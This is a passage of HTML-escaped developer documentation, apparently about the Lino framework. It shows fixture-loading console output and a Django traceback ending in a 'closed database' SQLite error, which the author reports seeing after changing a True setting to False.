class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;media&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;weasy2pdf&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;excerpts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Excerpt&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;3.&lt;/span&gt;&lt;span class="n"&gt;pdf&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;en&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{})&lt;/span&gt;
&lt;span class="n"&gt;Loading&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;modlib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;comments&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fixtures&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;demo2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;
&lt;span class="n"&gt;Loading&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;xl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_xl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lists&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fixtures&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;demo2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;
&lt;span class="n"&gt;Loading&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;modlib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;notify&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fixtures&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;demo2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;
&lt;span class="n"&gt;Loading&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;xl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_xl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pages&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fixtures&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;demo2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;
&lt;span class="n"&gt;Update&lt;/span&gt; &lt;span class="n"&gt;published&lt;/span&gt; &lt;span class="n"&gt;pages&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;72&lt;/span&gt; &lt;span class="n"&gt;pages&lt;/span&gt; &lt;span class="n"&gt;have&lt;/span&gt; &lt;span class="n"&gt;been&lt;/span&gt; &lt;span class="n"&gt;updated&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Loading&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;xl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_xl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;addresses&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fixtures&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;demo2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;
&lt;span class="n"&gt;Loading&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;xl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_xl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;phones&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fixtures&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;demo2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;
&lt;span class="n"&gt;Loading&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;xl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_xl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ledger&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fixtures&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;demo_bookings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;
&lt;span class="n"&gt;Loading&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;xl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_xl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;invoicing&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fixtures&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;demo_bookings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;
&lt;span class="n"&gt;Loading&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;modlib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;summaries&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fixtures&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;checksummaries&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But when I replace the &lt;cite&gt;True&lt;/cite&gt; by &lt;cite&gt;False&lt;/cite&gt;, it fails:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Loading&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;luc&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;work&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;xl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lino_xl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pages&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;fixtures&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;demo2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;
&lt;span class="n"&gt;Update&lt;/span&gt; &lt;span class="n"&gt;published&lt;/span&gt; &lt;span class="n"&gt;pages&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/db/backends/base/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;294&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_cursor&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_prepare_cursor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;create_cursor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/db/backends/sqlite3/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;190&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;create_cursor&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;factory&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;SQLiteCursorWrapper&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;sqlite3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ProgrammingError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Cannot&lt;/span&gt; &lt;span class="n"&gt;operate&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;closed&lt;/span&gt; &lt;span class="n"&gt;database&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;

&lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;above&lt;/span&gt; &lt;span class="n"&gt;exception&lt;/span&gt; &lt;span class="n"&gt;was&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;direct&lt;/span&gt; &lt;span class="n"&gt;cause&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;following&lt;/span&gt; &lt;span class="n"&gt;exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;

&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/work/book/lino_book/projects/noi1e/manage.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="n"&gt;execute_from_command_line&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/core/management/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;442&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;execute_from_command_line&lt;/span&gt;
    &lt;span class="n"&gt;utility&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/core/management/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;436&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;execute&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;fetch_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;subcommand&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_from_argv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/core/management/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;412&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;run_from_argv&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;cmd_options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/core/management/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;458&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;execute&lt;/span&gt;
    &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/work/lino/lino/management/commands/prep.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;handle&lt;/span&gt;
    &lt;span class="n"&gt;call_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;initdb&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/core/management/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;194&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;call_command&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;defaults&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/core/management/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;458&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;execute&lt;/span&gt;
    &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/work/lino/lino/management/commands/initdb.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;271&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;handle&lt;/span&gt;
    &lt;span class="n"&gt;call_command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;loaddata&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;fixtures&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/core/management/__init__.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;194&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;call_command&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;defaults&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/core/management/base.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;458&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;execute&lt;/span&gt;
    &lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/virtualenvs/dev/lib/python3.10/site-packages/django/core/management/commands/loaddata.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;102&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;handle&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loaddata&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fixture_labels&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
